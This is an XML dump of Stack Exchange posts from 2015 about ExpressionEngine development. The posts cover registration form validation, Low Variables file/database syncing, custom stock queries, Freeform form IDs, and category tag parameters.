  <row Id="30221" PostTypeId="1" AcceptedAnswerId="30252" CreationDate="2015-02-24T18:50:38.000" Score="0" ViewCount="80" Body="&lt;p&gt;Getting an error message “You must answer the question in order to post” when trying to use Solspace's User to make a front-end registration form and can't get the form to post. Can't figure this out, totally stumped although I'm sure it's something simple. Template code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;&#xA;{exp:user:register form:name=&quot;some_name&quot; return=&quot;loggedin/success/newmember&quot; allowed_groups=&quot;5|9|10|11|12&quot; admin_register=&quot;yes&quot;}&#xA;&amp;lt;fieldset&gt;&#xA;&amp;lt;ul&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Member Name:&amp;lt;/strong&gt;&#xA;    &amp;lt;p class=&quot;instructions&quot;&gt;This is the member's full name.  Example: Habitat Gallery &amp;amp; Studio&amp;lt;/p&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;screen_name&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;            &amp;lt;strong&gt;Username:&amp;lt;/strong&gt;&#xA;            &amp;lt;p class=&quot;instructions&quot;&gt;A condensed version of the member name.  It is used to login and as the member's URL.  Lowercase, no spaces or special characters.  Example: habitat&amp;lt;/p&gt;&#xA;            &amp;lt;h3 class=&quot;red&quot;&gt;Lowercase, no spaces or special characters.  Example: habitat&amp;lt;/h3&gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;&#xA;        &amp;lt;/li&gt;&#xA;        &amp;lt;li&gt;&#xA;            &amp;lt;strong&gt;Member Group:&amp;lt;/strong&gt;&#xA;            &amp;lt;p class=&quot;instructions&quot;&gt;Assign member to a group.&amp;lt;/p&gt;&#xA;            &amp;lt;select name=&quot;group_id&quot;&gt;&#xA;                &amp;lt;option selected=&quot;selected&quot;&gt;Choose a group...&amp;lt;/option&gt;&#xA;                {select_member_groups}&#xA;                    &amp;lt;option value=&quot;{group_id}&quot;}&gt;{group_title}&amp;lt;/option&gt;&#xA;                {/select_member_groups}&#xA;            &amp;lt;/select&gt;&#xA;        &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Description: &amp;lt;/strong&gt;&#xA;    &amp;lt;textarea name=&quot;member_description&quot; class=&quot;textarea&quot;&gt;&amp;lt;/textarea&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Street Address:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_street&quot; id=&quot;street&quot; onchange=&quot;geocode({address:this.value+', Foo, '+'Bar'})&quot; &#xA;           onfocus=&quot;this.select()&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Street Address 2:&amp;lt;/strong&gt;&#xA;    &amp;lt;p class=&quot;instructions&quot;&gt;If you have a studio or apartment number, enter it here.&amp;lt;/p&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_street2&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Zipcode:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;member_zipcode&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_latitude&quot; id=&quot;latitude&quot; /&gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;member_longitude&quot; id=&quot;longitude&quot; /&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Business Hours: &amp;lt;/strong&gt;&#xA;    &amp;lt;p class=&quot;instructions&quot;&gt;The days and hours your business is open&amp;lt;/p&gt;&#xA;    &amp;lt;textarea name=&quot;member_hours&quot; class=&quot;textarea&quot;&gt;&amp;lt;/textarea&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Email: &amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;email&quot; name=&quot;email&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Website:&amp;lt;/strong&gt;&#xA;    &amp;lt;p class=&quot;instructions&quot;&gt;Example: http://www.habitatgallery.com&amp;lt;/p&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_website&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Facebook:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_facebook&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Twitter:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_twitter&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;LinkedIn:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_linkedin&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;    &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Flickr:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; class=&quot;input&quot; name=&quot;member_flickr&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;        &amp;lt;li&gt;&#xA;    &amp;lt;strong&gt;Phone #:&amp;lt;/strong&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;member_phone&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;&#xA;&#xA;    &amp;lt;li&gt;&#xA;        &amp;lt;strong&gt;Categories:&amp;lt;/strong&gt;&#xA;&#xA;        {categories}&#xA;        {category_selected}checked=&quot;checked&quot;{/category_selected}&#xA;        {category_body}&amp;lt;label&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;category[]&quot; value=&quot;{category_id}&quot; {selected}&gt;{category_name}&amp;lt;/input&gt;&amp;lt;/label&gt;&amp;lt;br /&gt;{/category_body}&#xA;        {/categories}  &#xA;    &amp;lt;/li&gt;&#xA;&#xA;    &amp;lt;li&gt;&#xA;        &amp;lt;strong&gt;Field of Study&amp;lt;/strong&gt;&#xA;        &amp;lt;p class=&quot;instructions&quot;&gt;Student Members only.&amp;lt;/p&gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_field_of_study&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;    &amp;lt;li&gt;&#xA;        &amp;lt;strong&gt;Medium&amp;lt;/strong&gt;&#xA;        &amp;lt;p class=&quot;instructions&quot;&gt;Individual Artist Members only.&amp;lt;/p&gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;member_medium&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;&amp;lt;/ul&gt;&#xA;&#xA;&amp;lt;ul&gt;&#xA;    &amp;lt;li&gt;&#xA;        &amp;lt;strong&gt;Password:&amp;lt;/strong&gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;    &amp;lt;li&gt;&#xA;        &amp;lt;strong&gt;Confirm Password:&amp;lt;/strong&gt;&#xA;        &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; /&gt;&#xA;    &amp;lt;/li&gt;&#xA;&#xA;&amp;lt;/ul&gt;&#xA;&amp;lt;/fieldset&gt;&#xA;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;accept_terms&quot; value=&quot;y&quot; checked class=&quot;hide&quot; /&gt;  &#xA;&amp;lt;p&gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;&amp;lt;/p&gt;&#xA;&#xA;{if no_results}&#xA;&amp;lt;p&gt;You do not have the correct permissions to register new members.&amp;lt;/p&gt;&#xA;{/if}&#xA;&#xA;{/exp:user:register} &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3474" LastEditorUserId="3474" LastEditDate="2015-02-26T16:38:04.460" LastActivityDate="2015-02-26T16:38:04.460" Title="User: Register Form won't validate" Tags="|solspace-user|register|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30222" PostTypeId="1" AcceptedAnswerId="30223" CreationDate="2015-02-24T19:21:39.813" Score="1" ViewCount="62" Body="&lt;p&gt;Question, then background behind the question:&lt;br&gt;&#xA;We use Low Variables.  When would the database overwrite our variable files on the server instead of the files overwriting what's in the database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: Bitbucket had (is having) some issues.  To push our sites from dev to staging we have a script that dumps the database, commits and pushes to our dev branch, merges with our staging and then pushes our staging, then checks the dev branch back out so that we are always on dev, the database that was dumped is then imported into the staging database.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This typically works great, except what seems to have happened yesterday is that our script pushed our dev branch, however since was Bitbucket was having issues, it seems that when we checked the dev branch back out it checked out an old commit.  In hindsight there were a lot of things we could have done (gone through our local git -log, etc), however did I mention that this was a site for a local college and we were presenting it to the faculty 3 hours after this happen?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems that when that happened, and we then ran the site, that ExpressionEngine took what was in the variable files and overwrote what was in our database.  This is typically what I would expect.  However after we pulled in all the files from the backup from the previous night (actual nightly file and database backups we run, not git), it seemed that the database was then overwriting our variables.  We knew that the files were good (again, in hind-sight I should have reverted the database as well), however when we looked at the variables in EE and then the actual files they were bad.  It was until I pulled the backup files into a non-EE folder, then manually copied the text from one into the files in the EE install that the files saved correctly and the proper variable files were in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it seems that only the variables were over written, not any templates.  I'm just trying to understand what could have happened and how / when the whole syncing process works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Hindsight:&lt;br&gt;&#xA;- we should have done a full restore from the files/database backup to nip this in the butt&lt;br&gt;&#xA;- we should have looked at our local git repository for the log and what was committed before instead of just relying on Bitbucket&lt;br&gt;&#xA;- I've repeatedly stated that we shouldn't be making changes the day of presentations.  Once again I got vetoed.&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-02-24T20:00:19.993" Title="Variables overwritten by database" Tags="|database|low-variables|git|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30223" PostTypeId="2" ParentId="30222" CreationDate="2015-02-24T20:00:19.993" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow&quot;&gt;Low Variables&lt;/a&gt; variable syncing works like this. Note that each time you save a LV in the Control Panel, its DB edit date is updated:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Vars marked &lt;em&gt;save as file&lt;/em&gt; are fetched from the DB;&lt;/li&gt;&#xA;&lt;li&gt;Variable directory is created if not there;&lt;/li&gt;&#xA;&lt;li&gt;For each file in the DB, LV checks if the file is there;&lt;/li&gt;&#xA;&lt;li&gt;If not, the file is created;&lt;/li&gt;&#xA;&lt;li&gt;If the file is there, the date is checked (using CI's &lt;code&gt;get_file_info&lt;/code&gt; function);&lt;/li&gt;&#xA;&lt;li&gt;If the file date is newer than the DB edit date, the DB is updated;&lt;/li&gt;&#xA;&lt;li&gt;If the file date is older than the DB edit date, the file is updated;&lt;/li&gt;&#xA;&lt;li&gt;Any non-existing var-files are deleted.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To avoid any unexpected behaviour, you can choose to enable &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/settings&quot; rel=&quot;nofollow&quot;&gt;one way sync&lt;/a&gt;, which will only ever update the DB from files (so changes made via the CP won't update the files). This setting is also available as a &lt;a href=&quot;http://gotolow.com/addons/low-variables/docs/settings#config-overrides&quot; rel=&quot;nofollow&quot;&gt;config override&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-24T20:00:19.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30224" PostTypeId="2" ParentId="30220" CreationDate="2015-02-24T20:19:06.607" Score="1" Body="&lt;p&gt;I don't think there will be a way to do it without a custom query. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entry_id &#xA;FROM exp_store_stock&#xA;WHERE track_stock = '1'&#xA;ORDER BY stock_level DESC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One quick and easy way to use a custom query in place of a channel:entries tag is to use the &lt;a href=&quot;https://devot-ee.com/add-ons/channel-query&quot; rel=&quot;nofollow&quot;&gt;Channel Query module&lt;/a&gt;. This template code works and should be a good starting point:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query &#xA;    sql=&quot;SELECT entry_id &#xA;      FROM exp_store_stock&#xA;      WHERE track_stock = '1'&#xA;      ORDER BY stock_level DESC&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    {exp:store:product entry_id=&quot;{entry_id}&quot;}&#xA;        {title}: {total_stock}&#xA;    {/exp:store:product}&#xA;{/exp:channel_query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Tested with Store 2.3.1 and EE 2.9.0)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2015-02-24T20:27:43.213" LastActivityDate="2015-02-24T20:27:43.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30226" PostTypeId="1" AcceptedAnswerId="30231" CreationDate="2015-02-24T23:21:00.227" Score="2" ViewCount="356" Body="&lt;p&gt;I have a Solspace Freeform Pro form built with Freeform Composer.  I'm displaying this form within a channel entry using the Freeform Form fieldtype.  This generates the full form according to the Composer template specified.  Is there any way to display the form's name or ID from within the  tag (or somewhere else)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current output looks something like &lt;code&gt;&amp;lt;form action=&quot;http://[my-url-here]/?ACT=34&quot; accept-charset=&quot;utf-8&quot; method=&quot;post&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to target certain Composer forms via Javascript and need a way to identify them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Brady&lt;/p&gt;&#xA;" OwnerUserId="6082" LastActivityDate="2015-02-25T02:05:12.680" Title="Solspace Freeform Composer Template: Displaying Form ID" Tags="|solspace-freeform|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30227" PostTypeId="2" ParentId="30226" CreationDate="2015-02-25T00:09:53.607" Score="0" Body="&lt;p&gt;All you need to do is add either of these parameters &lt;pre&gt;form:name=&quot;YOUR_FORM_NAME&quot;&lt;/pre&gt; &lt;pre&gt;form:id=&quot;YOUR_FORM_ID&quot;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation is available here: &lt;a href=&quot;http://www.solspace.com/docs/freeform/composer/#parameters&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/composer/#parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1539" LastEditorUserId="1539" LastEditDate="2015-02-25T00:17:00.007" LastActivityDate="2015-02-25T00:17:00.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30228" PostTypeId="1" AcceptedAnswerId="30229" CreationDate="2015-02-25T00:25:51.567" Score="0" ViewCount="35" Body="&lt;p&gt;The {exp:pages:load_site_pages} tag is not very well documented in how you use it. Gleaning from system/expressionengine/modules/pages/mod.pages.php, what it does is merges the specified site's pages URIs with the current site's. It does this in runtime - not saving to config in the DB. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that it is a template tag makes it less useful because the first segment of the URL has to be specified, directing EE to the template with this tag and then possibly the second segment could be used in conjunction with Pages URIs. (Haven't quite figured that out). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm facing is our landing pages use the first segment for Pages URIs. So for example we have /about-us that hits a page with the designated template. I tried putting this tag on our site/index and on our designated 404 to no avail. How can you alter Pages URI functionality with a template tag when Pages URI functionality is triggered pre-template? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how in the world can I make Pages URI's from one site available on another site? &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2015-02-25T00:25:51.567" Title="Use {exp:pages:load_site_pages} to share Pages URIs across MSM sites?" Tags="|multi-site-manager|pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30229" PostTypeId="2" ParentId="30228" CreationDate="2015-02-25T00:25:51.567" Score="0" Body="&lt;p&gt;The only way I could find to do this was creating an extension which functions very similarly to this tag. Basically the extension I wrote will merge Pages URIs for the current site in with other sites you designate when you save an entry in EE Admin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its quite simple and makes Pages URIs available across sites in MSM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This saved us having to copy channels, entries, categories etc to other sites when all we wanted was a few landing pages. We still needed MSM however to support the alternate template and some alternate variables/snippets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've shared my extension on GitHub and have also updloaded to Devotee as a free addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/jaseclamp/madison_pagesync&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jaseclamp/madison_pagesync&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2015-02-25T00:25:51.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30230" PostTypeId="1" AcceptedAnswerId="30235" CreationDate="2015-02-25T01:15:31.667" Score="0" ViewCount="19" Body="&lt;p&gt;I've tried both of the below and category 18 is still being outputted in the category list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; category=&quot;not 18&quot;}&#xA;&amp;lt;a href=&quot;{path='shop/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;{product_channel}&quot; category_group=&quot;1&quot; category=&quot;not 18&quot;}&#xA;        &amp;lt;a href=&quot;{path='shop/index'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Strange thing is it was working previously.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-25T04:35:06.690" Title="Category still being output" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30231" PostTypeId="2" ParentId="30226" CreationDate="2015-02-25T02:05:12.680" Score="3" Body="&lt;p&gt;You can create your own custom Composer Templates in Freeform, which allows you to pass parameters and variables similar to if you used &lt;code&gt;{exp:freeform:form}&lt;/code&gt; or &lt;code&gt;{exp:freeform:composer}&lt;/code&gt; in a template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Freeform CP. Go to &quot;Composer Templates&quot; and create a new template. Under &lt;strong&gt;Template Params&lt;/strong&gt;, you can add parameters, such as an id or class to your form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fFnFc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in the Composer editor (&quot;Forms&quot; section, after clicking the edit icon under the &quot;Composer&quot; column), make sure to select your custom Composer Template from the top right dropdown:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wn3vC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your template, where the Freeform custom field is displayed, your form should then have the parameters that you applied in the Composer Template, eg &lt;code&gt;id=&quot;&quot;&lt;/code&gt;, &lt;code&gt;class=&quot;&quot;&lt;/code&gt;, etc. You can then target your form with javascript using id/class, for example.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-25T02:05:12.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30232" PostTypeId="2" ParentId="30074" CreationDate="2015-02-25T04:12:14.713" Score="2" Body="&lt;p&gt;There is no officially sanctioned way to do this for Blocks. And, as far as I'm aware, there is no third-party add-on that will make this easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like &lt;a href=&quot;https://expressionengine.stackexchange.com/users/3592/sheferd&quot;&gt;sheferd&lt;/a&gt; said, you're going to want to make a backup, find the field ids in the database, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In Blocks, create a new block type by going to Add-Ons → Modules → Blocks. Create a block type with a single Wygwam field in it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This block definition will be stored in the database in &lt;code&gt;exp_blocks_blockdefinition&lt;/code&gt;, and its Wygwam field will be in &lt;code&gt;exp_blocks_atomdefinition&lt;/code&gt;. You'll want to grab both of those IDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's where you &lt;em&gt;might&lt;/em&gt; want to drop into a custom PHP script, though it might be possible to do with just SQL.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a block by adding to &lt;code&gt;exp_blocks_block&lt;/code&gt;. &lt;code&gt;blockdefinition_id&lt;/code&gt; is what you looked in step #2. &lt;code&gt;site_id&lt;/code&gt; and &lt;code&gt;entry_id&lt;/code&gt; mean what you think they mean. &lt;code&gt;field_id&lt;/code&gt; is the ExpressionEngine field that this Block will belong to (retrieved from Admin → Channel Administration → Channel Fields). &lt;code&gt;order&lt;/code&gt; will probably be 1, which means it is the first block for that field. When you insert into this table, take note of the ID that is autocreated; you'll need it for when you add your content as an atom.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an atom by adding to &lt;code&gt;exp_blocks_atom&lt;/code&gt;. &lt;code&gt;block_id&lt;/code&gt; is the ID you got when you created a row in step #3. &lt;code&gt;atomdefinition_id&lt;/code&gt; is what you looked up in step #2. &lt;code&gt;data&lt;/code&gt; is your Wygwam data, retrieved from the &lt;code&gt;exp_channel_data&lt;/code&gt; table.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you run into trouble, you can fill out &lt;a href=&quot;https://eeblocks.com/support&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blocks' support form&lt;/a&gt; and I'll be happy to help.&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-02-25T04:12:14.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30233" PostTypeId="5" CreationDate="2015-02-25T04:19:58.117" Score="0" Body="&lt;p&gt;A fieldtype that allows developers to create their own types of blocks, which editors can use to create rich content. Official site is at &lt;a href=&quot;https://eeblocks.com&quot; rel=&quot;nofollow&quot;&gt;eeblocks.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="26" LastEditorUserId="26" LastEditDate="2015-02-25T13:18:18.123" LastActivityDate="2015-02-25T13:18:18.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30234" PostTypeId="4" CreationDate="2015-02-25T04:19:58.117" Score="0" Body="A fieldtype that allows developers to create their own types of blocks, which editors can use to create rich content." OwnerUserId="26" LastEditorUserId="26" LastEditDate="2015-02-25T13:18:11.770" LastActivityDate="2015-02-25T13:18:11.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30235" PostTypeId="2" ParentId="30230" CreationDate="2015-02-25T04:35:06.690" Score="0" Body="&lt;p&gt;The parameter &quot;category&quot; is not valid for the channel:categories tag.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to use &quot; &lt;strong&gt;show&lt;/strong&gt;='not 18' &quot;. I am not sure how it was working for you before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#show&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/categories.html#show&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c30Dh.jpg&quot; alt=&quot;Channel Category Parameters&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1134" LastActivityDate="2015-02-25T04:35:06.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30236" PostTypeId="1" CreationDate="2015-02-25T06:05:20.427" Score="0" ViewCount="34" Body="&lt;p&gt;I have tried using standard example template given in Solspace website, its not giving any output other than saying no reviews message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried rating form tag within channel entries and outside, nothing has worked. In my settings i have allowed guest review as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea of what s that missing in my approach. appreciate any help on this.&lt;/p&gt;&#xA;" OwnerUserId="2946" LastActivityDate="2016-06-18T19:51:55.640" Title="Rating form is not giving any input fields" Tags="|solspace-rating|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30237" PostTypeId="1" AcceptedAnswerId="30246" CreationDate="2015-02-25T08:07:25.157" Score="0" ViewCount="62" Body="&lt;p&gt;I have a Matrix upload field which doesn't show the correct upload folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I want to upload an image into that wrong folder I get the error: File aready exists. But that is not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also doesn't show anything when I switch to thumbnail view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I'm not able to paginate trough the upload files in the upload modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I disabled the cache, there is no path error. What else could this be? When I sync the folder in upload references, there is no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you debug this?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2015-02-25T17:30:06.657" Title="Wrong upload directory of upload field" Tags="|matrix|file-uploads|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30238" PostTypeId="1" CreationDate="2015-02-25T08:56:45.810" Score="0" ViewCount="49" Body="&lt;p&gt;I am using Structure Entries and trying to use hide from nav. This works well when I'm trying to hide an entry on ground level, but when I'm trying to hide a sub item the whole menu collapses. I'm not doing anything weird and just copied the 4th example.&lt;/p&gt;&#xA;" OwnerUserId="6083" LastActivityDate="2016-06-05T22:58:43.177" Title="Structure entries bug" Tags="|structure|entries|navigation|bug|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30239" PostTypeId="1" CreationDate="2015-02-25T11:02:01.183" Score="1" ViewCount="99" Body="&lt;p&gt;Is there a better (less server intensive therefore slow) way to retrieve entries based on a category setting i.e. this is what we currently use:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:categories channel=&quot;products&quot; style=&quot;linear&quot;}&#xA;    {if show_in_main_menu == &quot;Yes&quot;}&#xA;      {exp:gwcode_categories cat_id=&quot;{category_id}&quot; incl_self=&quot;no&quot; style=&quot;linear&quot; disable=&quot;member_data|pagination|categories|category_fields&quot;}&#xA;        [ENTRY DATA]&#xA;      {/exp:gwcode_categories}&#xA;    {/if}&#xA; {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This currently takes about 3 seconds per iteration on our site (and we have to do something similar in 2 other locations) so we're getting ~10 second page load times which the client isn't happy about!&lt;/p&gt;&#xA;" OwnerUserId="3835" LastActivityDate="2016-06-07T01:59:25.173" Title="Nested Tags Performance Improvements?" Tags="|categories|performance|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30240" PostTypeId="2" ParentId="28912" CreationDate="2015-02-25T11:04:27.847" Score="0" Body="&lt;p&gt;Found it. I was being dumb. Set country code to &quot;uk&quot; on a hidden field not the actual country code that is set for the United Kingdom in the backend is &quot;GB&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-02-25T11:04:27.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
